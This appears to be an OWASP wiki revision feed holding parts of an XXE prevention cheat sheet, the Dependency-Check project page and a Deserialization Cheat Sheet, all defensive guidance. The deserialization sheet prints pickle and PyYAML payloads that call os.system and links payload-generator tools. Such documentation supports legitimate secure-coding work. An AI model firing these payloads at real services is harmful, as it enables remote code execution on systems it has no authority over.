Alternatively, you can set the DtdProcessing property to Ignore, which will not throw an exception on encountering a &amp;lt;!DOCTYPE&amp;gt; element but will simply skip over it and not process it. Finally, you can set DtdProcessing to Parse if you do want to allow and process inline DTDs.&lt;br /&gt;
&lt;br /&gt;
==== .NET 4.5.2 and later ====&lt;br /&gt;
&lt;br /&gt;
In .NET Framework versions 4.5.2 and up, XmlTextReader's internal XmlResolver is set to null by default, making the XmlTextReader ignore DTDs by default. The XmlTextReader can become unsafe if if you create your own nonnull XmlResolver with default or unsafe settings.&lt;br /&gt;
&lt;br /&gt;
=== XPathNavigator ===&lt;br /&gt;
System.Xml.XPath.XPathNavigator is '''unsafe''' by default in .NET Framework versions prior to 4.5.2. This is due to the fact that it implements IXPathNavigable objects like XmlDocument, which are also unsafe by default in versions prior to 4.5.2. You can make XPathNavigator safe by giving it a safe parser like XmlReader (which is safe by default) in the XPathDocument's constructor. Here is an example:&amp;lt;syntaxhighlight lang=&amp;quot;c#&amp;quot;&amp;gt;&lt;br /&gt;
XmlReader reader = XmlReader.Create(&amp;quot;example.xml&amp;quot;);&lt;br /&gt;
XPathDocument doc = new XPathDocument(reader);&lt;br /&gt;
XPathNavigator nav = doc.CreateNavigator(); &lt;br /&gt;
string xml = nav.InnerXml.ToString();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== XslCompiledTransform ===&lt;br /&gt;
System.Xml.Xsl.XslCompiledTransform (an XML transformer) is safe by default as long as the parser it’s given is safe. It is safe by default because the default parser of the Transform() methods is an XmlReader, which is safe by default (per above). [http://www.dotnetframework.org/default.aspx/4@0/4@0/DEVDIV_TFS/Dev10/Releases/RTMRel/ndp/fx/src/Xml/System/Xml/Xslt/XslCompiledTransform@cs/1305376/XslCompiledTransform@cs The source code for this method is here.] Some of the Transform() methods accept an XmlReader or IXPathNavigable (e.g., XmlDocument) as an input, and if you pass in an unsafe XML Parser then the Transform will also be unsafe.&lt;br /&gt;
&lt;br /&gt;
==iOS==&lt;br /&gt;
&lt;br /&gt;
===libxml2===&lt;br /&gt;
&lt;br /&gt;
iOS includes the C/C++ libxml2 library described above, so that guidance applies if you are using libxml2 directly. However, the version of libxml2 provided up through iOS6 is prior to version 2.9 of libxml2 (which protects against XXE by default).&lt;br /&gt;
&lt;br /&gt;
===NSXMLDocument===&lt;br /&gt;
&lt;br /&gt;
iOS also provides an NSXMLDocument type, which is built on top of libxml2. However, NSXMLDocument provides some additional protections against XXE that aren't available in libxml2 directly. Per the 'NSXMLDocument External Entity Restriction API' section of: http://developer.apple.com/library/ios/#releasenotes/Foundation/RN-Foundation-iOS/Foundation_iOS5.html:&lt;br /&gt;
&lt;br /&gt;
* iOS4 and earlier: All external entities are loaded by default.&lt;br /&gt;
&lt;br /&gt;
* iOS5 and later: Only entities that don't require network access are loaded. (which is safer)&lt;br /&gt;
&lt;br /&gt;
However, to completely disable XXE in an NSXMLDocument in any version of iOS you simply specify NSXMLNodeLoadExternalEntitiesNever when creating the NSXMLDocument.&lt;br /&gt;
&lt;br /&gt;
==PHP==&lt;br /&gt;
&lt;br /&gt;
Per [http://php.net/manual/en/function.libxml-disable-entity-loader.php the PHP documentation], the following should be set when using the default PHP XML parser in order to prevent XXE:&lt;br /&gt;
&lt;br /&gt;
libxml_disable_entity_loader(true);&lt;br /&gt;
&lt;br /&gt;
A description of how to abuse this in PHP is presented in a good [https://www.sensepost.com/blog/2014/revisting-xxe-and-abusing-protocols/ SensePost article] describing a cool PHP based XXE vulnerability that was fixed in Facebook.&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
* [[Top_10-2017_A4-XML_External_Entities_(XXE)| OWASP Top 10-2017 A4: XML External Entities (XXE)]]&lt;br /&gt;
* [https://vsecurity.com//download/papers/XMLDTDEntityAttacks.pdf Timothy Morgan's 2014 paper: &amp;quot;XML Schema, DTD, and Entity Attacks&amp;quot;]&lt;br /&gt;
* [https://find-sec-bugs.github.io/bugs.htm#XXE_SAXPARSER FindSecBugs XXE Detection]&lt;br /&gt;
* [https://github.com/ssexxe/XXEBugFind XXEbugFind Tool]&lt;br /&gt;
* [[Testing for XML Injection (OTG-INPVAL-008)]]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:wichers|Dave Wichers]] - dave.wichers[at]owasp.org&amp;lt;br /&amp;gt;&lt;br /&gt;
[[User:Xiaoran_Wang|Xiaoran Wang]] - xiaoran[at]attacker-domain.com&amp;lt;br /&amp;gt;&lt;br /&gt;
James Jardine - james[at]jardinesoftware.com&amp;lt;br /&amp;gt;&lt;br /&gt;
Tony Hsu (Hsiang-Chih)&amp;lt;br /&amp;gt;&lt;br /&gt;
[[User:Dfleming|Dean Fleming]]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
[[Category:Cheatsheets]]&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Dependency_Check&amp;diff=240966</id>
		<title>OWASP Dependency Check</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Dependency_Check&amp;diff=240966"/>
				<updated>2018-05-26T07:40:30Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: update OWASP 2017&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Main=&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:90px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File: flagship_big.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
==OWASP Dependency-Check==&lt;br /&gt;
&lt;br /&gt;
Dependency-Check is a utility that identifies project dependencies and checks if there are any known, publicly disclosed, vulnerabilities.  Currently, Java and .NET are supported; additional experimental support has been added for Ruby, Node.js, Python, and limited support for C/C++ build systems (autoconf and cmake). The tool can be part of a solution to the OWASP Top 10 2017 A9:2017-Using Components with Known Vulnerabilities [https://www.owasp.org/index.php/Top_10-2017_Top_10] previously known as OWASP Top 10 2013 [https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities A9 - Using Components with Known Vulnerabilities].&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
&lt;br /&gt;
The OWASP Top 10 2013 contains a new entry: [https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities A9 - Using Components with Known Vulnerabilities]. Dependency-check can currently be used to scan applications (and their dependent libraries) to identify any known vulnerable components.&lt;br /&gt;
&lt;br /&gt;
The problem with using known vulnerable components was described very well in a paper by Jeff Williams and Arshan Dabirsiaghi titled, &amp;quot;[http://www1.contrastsecurity.com/the-unfortunate-reality-of-insecure-libraries?&amp;amp;__hssc=92971330.1.1412763139545&amp;amp;__hstc=92971330.5d71a97ce2c038f53e4109bfd029b71e.1412763139545.1412763139545.1412763139545.1&amp;amp;hsCtaTracking=7bbb964b-eac1-454d-9d5b-cc1089659590%7C816e01cf-4d75-449a-8691-bd0c6f9946a5 The Unfortunate Reality of Insecure Libraries]&amp;quot; (registration required). The gist of the paper is that we as a development community include third party libraries in our applications that contain well known published vulnerabilities (such as those at the [http://web.nvd.nist.gov/view/vuln/search National Vulnerability Database]).&lt;br /&gt;
&lt;br /&gt;
Dependency-check has a command line interface, a Maven plugin, an Ant task, and a Jenkins plugin. The core engine contains a series of analyzers that inspect the project dependencies, collect pieces of information about the dependencies (referred to as evidence within the tool). The evidence is then used to identify the [http://nvd.nist.gov/cpe.cfm Common Platform Enumeration (CPE)] for the given dependency. If a CPE is identified, a listing of associated [http://cve.mitre.org/ Common Vulnerability and Exposure (CVE)] entries are listed in a report.&lt;br /&gt;
&lt;br /&gt;
Dependency-check automatically updates itself using the [http://nvd.nist.gov/download.cfm NVD Data Feeds] hosted by NIST. '''IMPORTANT NOTE:''' The initial download of the data may take ten minutes or more, if you run the tool at least once every seven days only a small XML file needs to be downloaded to keep the local copy of the data current.&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== Quick Download ==&lt;br /&gt;
&lt;br /&gt;
Version 3.2.0&lt;br /&gt;
* [http://dl.bintray.com/jeremy-long/owasp/dependency-check-3.2.0-release.zip Command Line]&lt;br /&gt;
* [http://dl.bintray.com/jeremy-long/owasp/dependency-check-ant-3.2.0-release.zip Ant Task]&lt;br /&gt;
* [http://search.maven.org/#artifactdetails%7Corg.owasp%7Cdependency-check-maven%7C3.2.0%7Cmaven-plugin Maven Plugin]&lt;br /&gt;
* [http://search.maven.org/#artifactdetails%7Corg.owasp%7Cdependency-check-gradle%7C3.2.0%7Cgradle-plugin Gradle Plugin]&lt;br /&gt;
* [https://plugins.jenkins.io/dependency-check-jenkins-plugin Jenkins Plugin]&lt;br /&gt;
* [http://brew.sh/ Mac Homebrew]:&amp;lt;br&amp;gt;&amp;lt;code&amp;gt;brew update &amp;amp;&amp;amp; brew install dependency-check&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Other Plugins&lt;br /&gt;
* [http://search.maven.org/#search%7Cga%7C1%7Cg%3A%22net.vonbuchholtz%22%20a%3A%22sbt-dependency-check%22 sbt Plugin]&lt;br /&gt;
* [https://github.com/livingsocial/lein-dependency-check lein-dependency-check]&lt;br /&gt;
&lt;br /&gt;
== Integrations ==&lt;br /&gt;
* [https://github.com/stevespringett/dependency-check-sonar-plugin SonarQube Plugin]&lt;br /&gt;
&lt;br /&gt;
== Links ==&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/jeremylong/DependencyCheck github]&lt;br /&gt;
* [https://github.com/jeremylong/dependency-check-gradle gradle source]&lt;br /&gt;
* [https://github.com/albuch/sbt-dependency-check sbt source]&lt;br /&gt;
* [https://github.com/jenkinsci/dependency-check-plugin jenkins source]&lt;br /&gt;
* [https://www.ohloh.net/p/dependencycheck Ohloh]&lt;br /&gt;
* [https://bintray.com/jeremy-long/owasp Bintray]&lt;br /&gt;
&lt;br /&gt;
== Documentation ==&lt;br /&gt;
&lt;br /&gt;
* [http://jeremylong.github.io/DependencyCheck/ Documentation (on GitHub)]&lt;br /&gt;
&lt;br /&gt;
== Mailing List ==&lt;br /&gt;
&lt;br /&gt;
* [mailto:dependency-check+subscribe@googlegroups.com Subscribe]&lt;br /&gt;
* [mailto:dependency-check@googlegroups.com Post]&lt;br /&gt;
* [https://groups.google.com/forum/#!forum/dependency-check Archived Posts]&lt;br /&gt;
&lt;br /&gt;
== Presentation ==&lt;br /&gt;
&lt;br /&gt;
* [http://jeremylong.github.io/DependencyCheck/general/dependency-check.pdf dependency-check (PDF)]&lt;br /&gt;
* [http://jeremylong.github.io/DependencyCheck/general/dependency-check.pptx dependency-check  (PPTX)]&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; | [[File:Owasp-flagship-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Flagship_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; | [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; | [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot; | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot; | [[File:Project_Type_Files_CODE.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Acknowledgements =&lt;br /&gt;
==Volunteers==&lt;br /&gt;
Dependency-Check is developed by a team of volunteers. The primary contributors to date have been:&lt;br /&gt;
&lt;br /&gt;
* [[User:Jeremy Long|Jeremy Long]]&lt;br /&gt;
* [[User:Steve Springett|Steve Springett]]&lt;br /&gt;
* [[User:Will Stranathan|Will Stranathan]]&lt;br /&gt;
&lt;br /&gt;
= Road Map and Getting Involved =&lt;br /&gt;
As of March 2015, the top priorities are:&lt;br /&gt;
* Resolving all open [https://github.com/jeremylong/DependencyCheck/issues?state=open github issues/feature requests]&lt;br /&gt;
* Improving analysis for .NET Dlls&lt;br /&gt;
&lt;br /&gt;
Involvement in the development and promotion of dependency-check is actively encouraged!&lt;br /&gt;
You do not have to be a security expert in order to contribute. How you can help:&lt;br /&gt;
* Use the tool&lt;br /&gt;
* Provide feedback via the [https://groups.google.com/forum/?fromgroups#!forum/dependency-check mailing list] or by creating [https://github.com/jeremylong/DependencyCheck/issues?state=open github issues] (both bugs and feature requests are encouraged)&lt;br /&gt;
* The project source code is hosted on [https://github.com/jeremylong/DependencyCheck/ github] - if you are so inclined fork it and provide push requests!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs&amp;gt;&amp;lt;/headertabs&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]  &lt;br /&gt;
[[Category:OWASP_Builders]] &lt;br /&gt;
[[Category:OWASP_Defenders]]  &lt;br /&gt;
[[Category:OWASP_Document]]&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Deserialization_Cheat_Sheet&amp;diff=240694</id>
		<title>Deserialization Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Deserialization_Cheat_Sheet&amp;diff=240694"/>
				<updated>2018-05-14T00:39:13Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
= Introduction  = &lt;br /&gt;
&lt;br /&gt;
This article is focused on providing clear, actionable guidance for safely deserializing untrusted data in your applications.&lt;br /&gt;
&lt;br /&gt;
=What is Deserialization?=&lt;br /&gt;
&lt;br /&gt;
Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications. Deserialization is the reverse of that process -- taking data structured from some format, and rebuilding it into an object. Today, the most popular data format for serializing data is JSON. Before that, it was XML.&lt;br /&gt;
&lt;br /&gt;
However, many programming languages offer a native capability for serializing objects. These native formats usually offer more features than JSON or XML, including customizability of the serialization process. Unfortunately, the features of these native deserialization mechanisms can be repurposed for malicious effect when operating on untrusted data. Attacks against deserializers have been found to allow denial-of-service, access control, and remote code execution attacks.&lt;br /&gt;
&lt;br /&gt;
=Guidance on Deserializing Objects Safely=&lt;br /&gt;
The following language-specific guidance attempts to enumerate safe methodologies for deserializing data that can't be trusted. &lt;br /&gt;
&lt;br /&gt;
==PHP==&lt;br /&gt;
===WhiteBox Review===&lt;br /&gt;
Check the use of 'unserialize()' and review how the external parameters are accepted.&lt;br /&gt;
Use a safe, standard data interchange format such as JSON (via json_decode() and json_encode()) if you need to pass serialized data to the user.&lt;br /&gt;
Please also refer to to http://php.net/manual/en/function.unserialize.php&lt;br /&gt;
&lt;br /&gt;
==Python==&lt;br /&gt;
===BlackBox Review===&lt;br /&gt;
If the traffic data contains the symbol dot  .  at the end, it's very likely that the data was sent in serialization.&lt;br /&gt;
&lt;br /&gt;
===WhiteBox Review===&lt;br /&gt;
The following API in Python will be vuleerable to serialization attack. Search code for the pattern below.&lt;br /&gt;
&lt;br /&gt;
1. The uses of pickle/c_pickle/_pickle with load/loads&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
  import pickle&lt;br /&gt;
  data = &amp;quot;&amp;quot;&amp;quot; cos.system(S'dir')tR. &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
  pickle.loads(data) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. Uses of PyYAML with load&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   import yaml&lt;br /&gt;
   document = &amp;quot;!!python/object/apply:os.system ['ipconfig']&amp;quot;&lt;br /&gt;
   print(yaml.load(document))&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Uses of jsonpickle with encode or store methods&lt;br /&gt;
&lt;br /&gt;
==Java==&lt;br /&gt;
The following techniques are all good for preventing attacks against deserialization against [http://docs.oracle.com/javase/7/docs/api/java/io/Serializable.html Java's Serializable format].&lt;br /&gt;
&lt;br /&gt;
Implementation: In your code, override the ObjectInputStream#resolveClass() method to prevent arbitrary classes from being deserialized. This safe behavior can be wrapped in a library like SerialKiller.&lt;br /&gt;
Implementation: Use a safe replacement for the generic readObject() method as seen here. Note that this addresses &amp;quot;billion laughs&amp;quot; type attacks by checking input length and number of objects deserialized.&lt;br /&gt;
&lt;br /&gt;
===WhiteBox Review ===&lt;br /&gt;
Be aware of the following Java API uses for potential serilization vulnerability.&lt;br /&gt;
  1. 'XMLdecoder' with external user defined parameters&lt;br /&gt;
  2. XStream with fromXML method. (xstream version &amp;lt;= v1.46 is vulnerable to the serialization issue.)&lt;br /&gt;
  3. 'ObjectInputSteam' with 'readObject'&lt;br /&gt;
  4. Uses of 'readObject' 'readObjectNodData' 'readResolve' 'readExternal'&lt;br /&gt;
  5. 'ObjectInputStream.readUnshared'&lt;br /&gt;
  6. 'Serializable'&lt;br /&gt;
&lt;br /&gt;
=== BlackBox Review ===&lt;br /&gt;
If the captured traffic data include the following patterns may suggest that the data was sent in Java serialization streams&lt;br /&gt;
* &amp;quot;AC ED 00 05&amp;quot; in Hex&lt;br /&gt;
* &amp;quot;''rO0&amp;quot;  in Base64''&lt;br /&gt;
* Content-type = '&amp;lt;nowiki/&amp;gt;''application/x-java-serialized-object'''&lt;br /&gt;
&lt;br /&gt;
===Prevent Data Leakage and Trusted Field Clobbering===&lt;br /&gt;
If there are data members of an object that should never be controlled by end users during deserialization or exposed to users during serialization, they should be declared as [https://docs.oracle.com/javase/7/docs/platform/serialization/spec/serial-arch.html#6250 the &amp;lt;code&amp;gt;transient&amp;lt;/code&amp;gt; keyword].&lt;br /&gt;
&lt;br /&gt;
For a class that defined as Serializable, the sensitive information variable should be declared as 'private transient'.&lt;br /&gt;
For example, the class myAccount, the variable 'profile' and 'margin' were declared as transient to avoid to be serialized.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
public class myAccount implements Serializable&lt;br /&gt;
{&lt;br /&gt;
    private transient double profit; // declared transient&lt;br /&gt;
    &lt;br /&gt;
    private transient double margin; // declared transient&lt;br /&gt;
    ....&lt;br /&gt;
    ....&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Prevent Deserialization of Domain Objects===&lt;br /&gt;
Some of your application objects may be forced to implement Serializable due to their hierarchy. To guarantee that your application objects can't be deserialized, a &amp;lt;code&amp;gt;readObject()&amp;lt;/code&amp;gt; should be declared (with a &amp;lt;code&amp;gt;final&amp;lt;/code&amp;gt; modifier) which always throws an exception.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;private final void readObject(ObjectInputStream in) throws java.io.IOException {&lt;br /&gt;
   throw new java.io.IOException(&amp;quot;Cannot be deserialized&amp;quot;);&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Harden Your Own java.io.ObjectInputStream===&lt;br /&gt;
The &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; class is used to deserialize objects. It's possible to harden its behavior by subclassing it. This is the best solution if:&lt;br /&gt;
&lt;br /&gt;
* You can change the code that does the deserialization&lt;br /&gt;
* You know what classes you expect to deserialize&lt;br /&gt;
&lt;br /&gt;
The general idea is to override [http://docs.oracle.com/javase/7/docs/api/java/io/ObjectInputStream.html#resolveClass(java.io.ObjectStreamClass) &amp;lt;code&amp;gt;ObjectInputStream.html#resolveClass()&amp;lt;/code&amp;gt;] in order to restrict which classes are allowed to be deserialized. Because this call happens before a &amp;lt;code&amp;gt;readObject()&amp;lt;/code&amp;gt; is called, you can be sure that no deserialization activity will occur unless the type is one that you wish to allow.  A simple example of this shown here, where the the LookAheadObjectInputStream class is guaranteed not to deserialize any other type besides the Bicycle class:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;public class LookAheadObjectInputStream extends ObjectInputStream {&lt;br /&gt;
&lt;br /&gt;
    public LookAheadObjectInputStream(InputStream inputStream) throws IOException {&lt;br /&gt;
        super(inputStream);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    /**&lt;br /&gt;
     * Only deserialize instances of our expected Bicycle class&lt;br /&gt;
     */&lt;br /&gt;
    @Override&lt;br /&gt;
    protected Class&amp;lt;?&amp;gt; resolveClass(ObjectStreamClass desc) throws IOException,&lt;br /&gt;
            ClassNotFoundException {&lt;br /&gt;
        if (!desc.getName().equals(Bicycle.class.getName())) {&lt;br /&gt;
            throw new InvalidClassException(&lt;br /&gt;
                    &amp;quot;Unauthorized deserialization attempt&amp;quot;,&lt;br /&gt;
                    desc.getName());&lt;br /&gt;
        }&lt;br /&gt;
        return super.resolveClass(desc);&lt;br /&gt;
    }&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More complete implementations of this approach have been proposed by various community members:&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/ikkisoft/SerialKiller NibbleSec] - a library that allows whitelisting and blacklisting of classes that are allowed to be deserialized&lt;br /&gt;
* [https://www.ibm.com/developerworks/library/se-lookahead/ IBM] - the seminal protection, written years before the most devastating exploitation scenarios were envisioned.&lt;br /&gt;
&lt;br /&gt;
===Harden All java.io.ObjectInputStream Usage with an Agent===&lt;br /&gt;
As mentioned above, the &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; class is used to deserialize objects. It's possible to harden its behavior by subclassing it. However, if you don't own the code or can't wait for a patch, using an agent to weave in hardening to &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; is the best solution.&lt;br /&gt;
&lt;br /&gt;
Globally changing ObjectInputStream is only safe for blacklisting known malicious types, because it's not possible to know for all applications what the expected classes to be deserialized are. Fortunately, there are very few classes needed in the blacklist to be safe from all the known attack vectors, today. It's inevitable that more &amp;quot;gadget&amp;quot; classes will be discovered that can be abused. However, there is an incredible amount of vulnerable software&lt;br /&gt;
exposed today, in need of a fix. In some cases, &amp;quot;fixing&amp;quot; the vulnerability may involve re-architecting messaging systems and breaking backwards compatibility as developers move towards not accepting serialized objects.&lt;br /&gt;
&lt;br /&gt;
To enable these agents, simply add a new JVM parameter:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;-javaagent:name-of-agent.jar&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Agents taking this approach have been released by various community members:&lt;br /&gt;
* [https://github.com/gocd/invoker-defender Invoker Defender by Go-CD]&lt;br /&gt;
* [https://github.com/Contrast-Security-OSS/contrast-rO0 rO0 by Contrast Security]&lt;br /&gt;
&lt;br /&gt;
A similar, but less scalable approach would be to manually patch and bootstrap your JVM's ObjectInputStream. Guidance on this approach is available [https://github.com/wsargent/paranoid-java-serialization here].&lt;br /&gt;
&lt;br /&gt;
= Language-Agnostic Methods for Deserializing Safely =&lt;br /&gt;
&lt;br /&gt;
==Using Alternative Data Formats==&lt;br /&gt;
A great reduction of risk is achieved by avoiding native (de)serialization formats. By switching to a pure data format like JSON or XML, you lessen the chance of custom deserialization logic being repurposed towards malicious ends.&lt;br /&gt;
&lt;br /&gt;
Many applications rely on a [https://en.wikipedia.org/wiki/Data_transfer_object data-transfer object pattern] that involves creating a separate domain of objects for the explicit purpose data transfer. Of course, it's still possible that the application will make security mistakes after a pure data object is parsed.&lt;br /&gt;
&lt;br /&gt;
==Only Deserialize Signed Data==&lt;br /&gt;
If the application knows before deserialization which messages will need to be processed, they could sign them as part of the serialization process. The application could then to choose not to deserialize any message which didn't have an authenticated signature.&lt;br /&gt;
&lt;br /&gt;
= Mitigation Tools/Libraries =&lt;br /&gt;
* Java secure deserialization library https://github.com/ikkisoft/SerialKiller&lt;br /&gt;
&lt;br /&gt;
* SWAT (Serial Whitelist Application Trainer) https://github.com/cschneider4711/SWAT&lt;br /&gt;
* NotSoSerial https://github.com/kantega/notsoserial&lt;br /&gt;
&lt;br /&gt;
= Detection Tools =&lt;br /&gt;
* [https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet Java deserialization cheat sheet aimed at pen testers]&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/frohoff/ysoserial A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.]&lt;br /&gt;
* Java De-serialization toolkits https://github.com/brianwrf/hackUtils&lt;br /&gt;
* Java de-serialization tool https://github.com/frohoff/ysoserial&lt;br /&gt;
* Java de-serialization detection by DNS  https://github.com/GoSeecure/break-fast-serial&lt;br /&gt;
* Burp Suite extension https://github.com/federicodotta/Java-Deserialization-Scanner/releases&lt;br /&gt;
* Java secure deserialization library https://github.com/ikkisoft/SerialKiller&lt;br /&gt;
* Serianalyzer is a static bytecode analyzer for deserialization https://github.com/mbechler/serianalyzer&lt;br /&gt;
* Payload generator https://github.com/mbechler/marshalsec&lt;br /&gt;
* Android Java Deserialization Vulnerability Tester https://github.com/modzero/modjoda&lt;br /&gt;
* Burp Suite Extension &lt;br /&gt;
** JavaSerialKiller https://github.com/NetSPI/JavaSerialKiller&lt;br /&gt;
** Java Deserialization Scanner https://github.com/federicodotta/Java-Deserialization-Scanner&lt;br /&gt;
** Burp-ysoserial https://github.com/summitt/burp-ysoserial&lt;br /&gt;
** SuperSerial https://github.com/DirectDefense/SuperSerial&lt;br /&gt;
** SuperSerial-Active https://github.com/DirectDefense/SuperSerial-Active&lt;br /&gt;
&lt;br /&gt;
= References = &lt;br /&gt;
* https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet&lt;br /&gt;
* [[Deserialization of untrusted data]]&lt;br /&gt;
* [[Media:GOD16-Deserialization.pdf|Java Deserialization Attacks - German OWASP Day 2016]]&lt;br /&gt;
* [http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles AppSecCali 2015 - Marshalling Pickles]&lt;br /&gt;
* [http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#websphere FoxGlove Security - Vulnerability Announcement]&lt;br /&gt;
* [https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet Java deserialization cheat sheet aimed at pen testers]&lt;br /&gt;
* [https://github.com/frohoff/ysoserial A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.]&lt;br /&gt;
* Java De-serialization toolkits https://github.com/brianwrf/hackUtils&lt;br /&gt;
* Java de-serialization tool https://github.com/frohoff/ysoserial&lt;br /&gt;
* Java de-serialization detection by DNS  https://github.com/GoSeecure/break-fast-serial&lt;br /&gt;
* Burp Suite extension https://github.com/federicodotta/Java-Deserialization-Scanner/releases&lt;br /&gt;
* Java secure deserialization library https://github.com/ikkisoft/SerialKiller&lt;br /&gt;
* Serianalyzer is a static bytecode analyzer for deserialization https://github.com/mbechler/serianalyzer&lt;br /&gt;
* Payload generator https://github.com/mbechler/marshalsec&lt;br /&gt;
* Android Java Deserialization Vulnerability Tester https://github.com/modzero/modjoda&lt;br /&gt;
* Burp Suite Extension &lt;br /&gt;
** JavaSerialKiller https://github.com/NetSPI/JavaSerialKiller&lt;br /&gt;
** Java Deserialization Scanner https://github.com/federicodotta/Java-Deserialization-Scanner&lt;br /&gt;
** Burp-ysoserial https://github.com/summitt/burp-ysoserial&lt;br /&gt;
** SuperSerial https://github.com/DirectDefense/SuperSerial&lt;br /&gt;
** SuperSerial-Active https://github.com/DirectDefense/SuperSerial-Active&lt;br /&gt;
&lt;br /&gt;
